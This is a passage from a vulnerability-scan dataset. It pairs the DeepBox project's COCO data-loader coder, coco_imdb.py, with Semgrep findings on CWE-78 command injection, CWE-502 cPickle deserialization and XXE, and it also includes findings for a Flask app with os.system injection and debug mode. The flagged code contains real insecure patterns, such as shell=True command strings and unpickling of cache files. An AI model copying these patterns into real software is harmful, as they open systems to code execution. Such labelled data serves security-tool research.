"OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.directly-returned-format-string_d65d604f6e1bbef7_1e638e75", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.directly-returned-format-string", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 3, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.directly-returned-format-string", "path": "/tmp/tmp10dxl77l/d65d604f6e1bbef7.py", "start": {"line": 19, "col": 3, "offset": 426}, "end": {"line": 19, "col": 58, "offset": 481}, "extra": {"message": "Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "category": "security", "technology": ["flask"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "HIGH", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.debug-enabled_d65d604f6e1bbef7_be591327", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.debug-enabled", "finding_type": "security", "severity": "medium", "confidence": "high", "message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 5, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": "CWE-489: Active Debug Code", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.debug-enabled", "path": "/tmp/tmp10dxl77l/d65d604f6e1bbef7.py", "start": {"line": 31, "col": 5, "offset": 809}, "end": {"line": 31, "col": 24, "offset": 828}, "extra": {"message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "metadata": {"cwe": ["CWE-489: Active Debug Code"], "owasp": "A06:2017 - Security Misconfiguration", "references": ["https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/"], "category": "security", "technology": ["flask"], "subcategory": ["vuln"], "likelihood": "HIGH", "impact": "MEDIUM", "confidence": "HIGH"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
5
true
[ "CWE-78", "CWE-78", "CWE-78", "CWE-79" ]
[ "rules.python.flask.security.injection.os-system-injection", "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.dangerous-system-call", "rules.python.flask.security.audit.directly-returned-format-string" ]
[ "security", "security", "security", "security" ]
[ "MEDIUM", "LOW", "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "MEDIUM" ]
[ 16, 16, 16, 19 ]
[ 16, 16, 16, 19 ]
[ 20, 20, 20, 3 ]
[ 34, 34, 34, 58 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list.", "Found dynamic content used in a system call. This is dangerous if external data can reach this function call becau...
[ 7.5, 7.5, 7.5, 5 ]
[ "MEDIUM", "LOW", "HIGH", "HIGH" ]
[ "HIGH", "HIGH", "HIGH", "MEDIUM" ]
app.py
/app.py
Sarlianth/smarter-voice-control
Apache-2.0
2024-11-18T22:36:32.676983+00:00
1,539,082,354,000
cc6384ab5c15c365fefecc071fc960667a819669
2
{ "blob_id": "cc6384ab5c15c365fefecc071fc960667a819669", "branch_name": "refs/heads/master", "committer_date": 1539082354000, "content_id": "d4a8d89625a02dbaf4904ad36286e85ba7acbba4", "detected_licenses": [ "MIT" ], "directory_id": "cf72fed7074eef723770cc091493191bcc871c65", "extension": "py", "filename": "coco_imdb.py", "fork_events_count": 0, "gha_created_at": 1539082302000, "gha_event_created_at": 1539082302000, "gha_language": null, "gha_license_id": "NOASSERTION", "github_id": 152234990, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11435, "license": "MIT", "license_type": "permissive", "path": "/src/datasets/coco_imdb.py", "provenance": "stack-edu-0054.json.gz:587372", "repo_name": "rotemmairon/DeepBox", "revision_date": 1539082354000, "revision_id": "23ee1e0bb9a78267fe38dbea303ff9c4d424d773", "snapshot_id": "ec5c6ac248a07248d2e79d5560344b15e54b450a", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/rotemmairon/DeepBox/23ee1e0bb9a78267fe38dbea303ff9c4d424d773/src/datasets/coco_imdb.py", "visit_date": "2020-03-31T12:56:09.020009" }
2.359375
stackv2
# -------------------------------------------------------- # Fast R-CNN # Copyright (c) 2015 Microsoft # Licensed under The MIT License [see LICENSE for details] # Written by Ross Girshick # -------------------------------------------------------- # -------------------------------------------------------- # Fast DeepBox # Written by Weicheng Kuo, 2015. # See LICENSE in the project root for license information. # -------------------------------------------------------- import datasets.coco_imdb import os import datasets.imdb_coco import xml.dom.minidom as minidom import numpy as np import scipy.sparse import scipy.io as sio import h5py import cPickle import subprocess from fast_dbox_config import cfg import sys sys.path.insert(0,"./data/MSCOCO/PythonAPI") from pycocotools.coco import COCO import pdb class coco_imdb(datasets.imdb): def __init__(self, image_set, year, devkit_path=None): datasets.imdb.__init__(self, 'coco_' + image_set + year) self._year = year self._image_set = image_set #_devkit_path points to MSCOCO self._devkit_path = self._get_default_path() if devkit_path is None \ else devkit_path #_data_path points to MSCOCO/images self._data_path = os.path.join(self._devkit_path, 'images') self._classes = ('__background__', 'object') self._class_to_ind = dict(zip(self.classes, xrange(self.num_classes))) self._image_ext = '.jpg' # initialize COCO api for instance annotations if image_set in ['train','val']: self.coco=COCO('%s/annotations/instances_%s.json'%(self._devkit_path,self._image_set+self._year)) self._image_index = self._load_image_set_index() # Default to roidb handler self._roidb_handler = self.proposals_roidb # Use top-k proposals to build imdb self.config = {'top_k':1000} assert os.path.exists(self._devkit_path), \ 'COCO devkit path does not exist: {}'.format(self._devkit_path) assert os.path.exists(self._data_path), \ 'Path does not exist: {}'.format(self._data_path) def image_path_at(self, i): """ Return the absolute path to image i in the image sequence. """ return self.image_path_from_index(self._image_index[i]) def image_path_from_index(self, index): """ Change this function to read COCO images: PATH = images/train2014/ Construct an image path from the image's "index" identifier. self._image_set is either 'train','val','test','test-dev' """ if self._image_set in ['train','val']: img = self.coco.loadImgs(index) image_path = os.path.join(self._data_path, self._name[5:],img[0]['file_name']) assert os.path.exists(image_path), \ 'Path does not exist: {}'.format(image_path) else: image_path = self._data_path+'/test2015/COCO_test2015_{0:012d}.jpg'.format(int(index[0])) return image_path def _load_image_set_index(self): """ Load the indexes from COCO object """ #Use all images #Use train/val2014 COCO Matlab ordering imgIds = sio.loadmat('./data/coco_matlab_data/matlab_'+self._image_set+self._year+'_imgIds.mat') image_index = imgIds['imgIds'].tolist() #Use COCO python ordering #image_index = self.coco.getImgIds() return image_index def _get_default_path(self): """ Return the default path where MSCOCO is expected to be installed. """ return os.path.join(cfg.ROOT_DIR, 'data', 'MSCOCO') def gt_roidb(self): """ Return the database of ground-truth regions of interest. This function loads/saves from/to a cache file to speed up future calls. """ cache_file = os.path.join(self.cache_path, self.name + '_gt_roidb.pkl') if os.path.exists(cache_file): with open(cache_file, 'rb') as fid: roidb = cPickle.load(fid) print '{} gt roidb loaded from {}'.format(self.name, cache_file) return roidb gt_roidb = [self._load_coco_annotation(index) for index in self.image_index] with open(cache_file, 'wb') as fid: cPickle.dump(gt_roidb, fid, cPickle.HIGHEST_PROTOCOL) print 'wrote gt roidb to {}'.format(cache_file) return gt_roidb def proposals_roidb(self): """ Return the database of Edge box regions of interest. Ground-truth ROIs are also included. This function loads/saves from/to a cache file to speed up future calls. """ cache_file = os.path.join(self.cache_path,self.name + '_'+self._obj_proposer+'_roidb.pkl') if os.path.exists(cache_file): with open(cache_file, 'rb') as fid: roidb = cPickle.load(fid) print '{} eb roidb loaded from {}'.format(self.name, cache_file) return roidb if self._image_set in ['train','val']: gt_roidb = self.gt_roidb() proposals_roidb = self._load_proposals_roidb(gt_roidb) roidb = datasets.imdb.merge_roidbs(gt_roidb, proposals_roidb) else: roidb = self._load_image_info_roidb() with open(cache_file, 'wb') as fid: cPickle.dump(roidb, fid, cPickle.HIGHEST_PROTOCOL) print 'wrote {} roidb to {}'.format(self._obj_proposer,cache_file) return roidb def _load_image_info_roidb(self): filename = os.path.abspath(os.path.join(self.cache_path, '..', self._obj_proposer+'_data', self._image_set+self._year+'.mat')) assert os.path.exists(filename), \ self._obj_proposer + ' data not found at: {}'.format(filename) #read -v7 matrix #raw_data = sio.loadmat(filename)['boxes'].ravel() #read -v7.3 matrix f = h5py.File(filename) raw_data = [np.transpose(f[element[0]]) for element in f['boxes']] #raw data is a list so use len() as follows. #/////////// box_list = [] print 'No permutation for validation' for i in xrange(len(self.image_index)):#Use raw_data.shape[0] if it's not a list print raw_data[i].shape box_list.append(raw_data[i] - 1) return self.test_roidb_from_box_list(box_list) def _load_proposals_roidb(self, gt_roidb): filename = os.path.abspath(os.path.join(self.cache_path, '..', self._obj_proposer+'_data', self._image_set+self._year+'.mat')) assert os.path.exists(filename), \ self._obj_proposer + ' data not found at: {}'.format(filename) #read -v7 matrix #raw_data = sio.loadmat(filename)['boxes'].ravel() #read -v7.3 matrix f = h5py.File(filename) raw_data = [np.transpose(f[element[0]]) for element in f['boxes']] #raw data is a list so use len() as follows. #/////////// box_list = [] #if self._image_set == 'train': if False:#Just for testing on train set print 'random sampling for training' top_k = self.config['top_k'] for i in xrange(len(self.image_index)):#Use raw_data.shape[0] if it's not a list print raw_data[i].shape sel_num = min(top_k,raw_data[i].shape[0]) samp_idx = np.random.permutation(raw_data[i].shape[0]) box_list.append(raw_data[i][samp_idx[:sel_num], :] - 1) else: print 'No permutation for validation' for i in xrange(len(self.image_index)):#Use raw_data.shape[0] if it's not a list print raw_data[i].shape box_list.append(raw_data[i] - 1) return self.create_roidb_from_box_list(box_list, gt_roidb) def _load_coco_annotation(self, index): img_ann = [] annIds = self.coco.getAnnIds(index); anns = self.coco.loadAnns(annIds); num_objs = len(anns); boxes = np.zeros((num_objs, 4)) gt_classes = np.zeros((num_objs), dtype=np.int32) overlaps = np.zeros((num_objs, self.num_classes), dtype=np.float32) """ Load image and bounding boxes info from COCO object """ for j in range(num_objs): #cls = anns[j]['category_id'] cls = 1 boxes[j,:]=anns[j]['bbox']#coco bbox annotations are 0-based boxes[j,2]=boxes[j,0]+boxes[j,2] boxes[j,3]=boxes[j,1]+boxes[j,3] gt_classes[j]=cls overlaps[j,cls] = 1.0 #pdb.set_trace() overlaps = scipy.sparse.csr_matrix(overlaps) return {'boxes' : boxes,'gt_classes': gt_classes,'gt_overlaps' : overlaps,'flipped' : False} def _write_voc_results_file(self, all_boxes): use_salt = self.config['use_salt'] comp_id = 'comp4' if use_salt: comp_id += '-{}'.format(os.getpid()) # VOCdevkit/results/VOC2007/Main/comp4-44503_det_test_aeroplane.txt path = os.path.join(self._devkit_path, 'results', 'VOC' + self._year, 'Main', comp_id + '_') for cls_ind, cls in enumerate(self.classes): if cls == '__background__': continue print 'Writing {} VOC results file'.format(cls) filename = path + 'det_' + self._image_set + '_' + cls + '.txt' with open(filename, 'wt') as f: for im_ind, index in enumerate(self.image_index): dets = all_boxes[cls_ind][im_ind] if dets == []: continue # the VOCdevkit expects 1-based indices for k in xrange(dets.shape[0]): f.write('{:s} {:.3f} {:.1f} {:.1f} {:.1f} {:.1f}\n'. format(index, dets[k, -1], dets[k, 0] + 1, dets[k, 1] + 1, dets[k, 2] + 1, dets[k, 3] + 1)) return comp_id def _do_matlab_eval(self, comp_id, output_dir='output'): rm_results = self.config['cleanup'] path = os.path.join(os.path.dirname(__file__), 'VOCdevkit-matlab-wrapper') cmd = 'cd {} && '.format(path) cmd += '{:s} -nodisplay -nodesktop '.format(cfg.MATLAB) cmd += '-r "dbstop if error; ' cmd += 'voc_eval(\'{:s}\',\'{:s}\',\'{:s}\',\'{:s}\',{:d}); quit;"' \ .format(self._devkit_path, comp_id, self._image_set, output_dir, int(rm_results)) print('Running:\n{}'.format(cmd)) status = subprocess.call(cmd, shell=True) def evaluate_detections(self, all_boxes, output_dir): comp_id = self._write_voc_results_file(all_boxes) self._do_matlab_eval(comp_id, output_dir) if __name__ == '__main__': d = datasets.coco_imdb('val', '2014') #d = datasets.coco_imdb('test-dev', '2015') res = d.roidb from IPython import embed; embed()
273
40.89
109
21
2,801
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_39180c9ab8d5d354_72fee4ab", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 1, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/39180c9ab8d5d354.py", "start": {"line": 17, "col": 1, "offset": 537}, "end": {"line": 17, "col": 34, "offset": 570}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.python-debugger-found_39180c9ab8d5d354_e40af35e", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.python-debugger-found", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Importing the python debugger; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 28, "line_end": 28, "column_start": 1, "column_end": 11, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.python-debugger-found", "path": "/tmp/tmp10dxl77l/39180c9ab8d5d354.py", "start": {"line": 28, "col": 1, "offset": 801}, "end": {"line": 28, "col": 11, "offset": 811}, "extra": {"message": "Importing the python debugger; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_39180c9ab8d5d354_62c7e01c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 110, "line_end": 110, "column_start": 25, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmp10dxl77l/39180c9ab8d5d354.py", "start": {"line": 110, "col": 25, "offset": 4131}, "end": {"line": 110, "col": 42, "offset": 4148}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_39180c9ab8d5d354_9f770cd6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 117, "line_end": 117, "column_start": 13, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmp10dxl77l/39180c9ab8d5d354.py", "start": {"line": 117, "col": 13, "offset": 4413}, "end": {"line": 117, "col": 66, "offset": 4466}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_39180c9ab8d5d354_1d2e2365", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 132, "line_end": 132, "column_start": 26, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmp10dxl77l/39180c9ab8d5d354.py", "start": {"line": 132, "col": 26, "offset": 5012}, "end": {"line": 132, "col": 43, "offset": 5029}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_39180c9ab8d5d354_5ec16611", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 144, "line_end": 144, "column_start": 13, "column_end": 63, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmp10dxl77l/39180c9ab8d5d354.py", "start": {"line": 144, "col": 13, "offset": 5490}, "end": {"line": 144, "col": 63, "offset": 5540}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_39180c9ab8d5d354_ed554d57", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 238, "line_end": 238, "column_start": 18, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/39180c9ab8d5d354.py", "start": {"line": 238, "col": 18, "offset": 9814}, "end": {"line": 238, "col": 38, "offset": 9834}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_39180c9ab8d5d354_a82f390b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 263, "line_end": 263, "column_start": 18, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/39180c9ab8d5d354.py", "start": {"line": 263, "col": 18, "offset": 11060}, "end": {"line": 263, "col": 50, "offset": 11092}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
8
true
[ "CWE-611", "CWE-502", "CWE-502", "CWE-502", "CWE-502", "CWE-78" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.deserialization.avoid-cPickle", "rules.python.lang.security.deserialization.avoid-cPickle", "rules.python.lang.security.deserialization.avoid-cPickle", "rules.python.lang.security.deserialization.avoid-cPickle", "rules.python.lang.s...
[ "security", "security", "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "HIGH" ]
[ 17, 110, 117, 132, 144, 263 ]
[ 17, 110, 117, 132, 144, 263 ]
[ 1, 25, 13, 26, 13, 18 ]
[ 34, 42, 66, 43, 63, 50 ]
[ "A04:2017 - XML External Entities (XXE)", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A01:2017 - Injection" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "Avoid using `cPickle`, which is known to lead to code exec...
[ 7.5, 5, 5, 5, 5, 7.5 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "HIGH" ]
coco_imdb.py
/src/datasets/coco_imdb.py
rotemmairon/DeepBox
MIT
2024-11-18T22:36:33.260010+00:00
1,535,559,284,000
9c90936f6e30c44c004852b6f135094909f50d5a
2
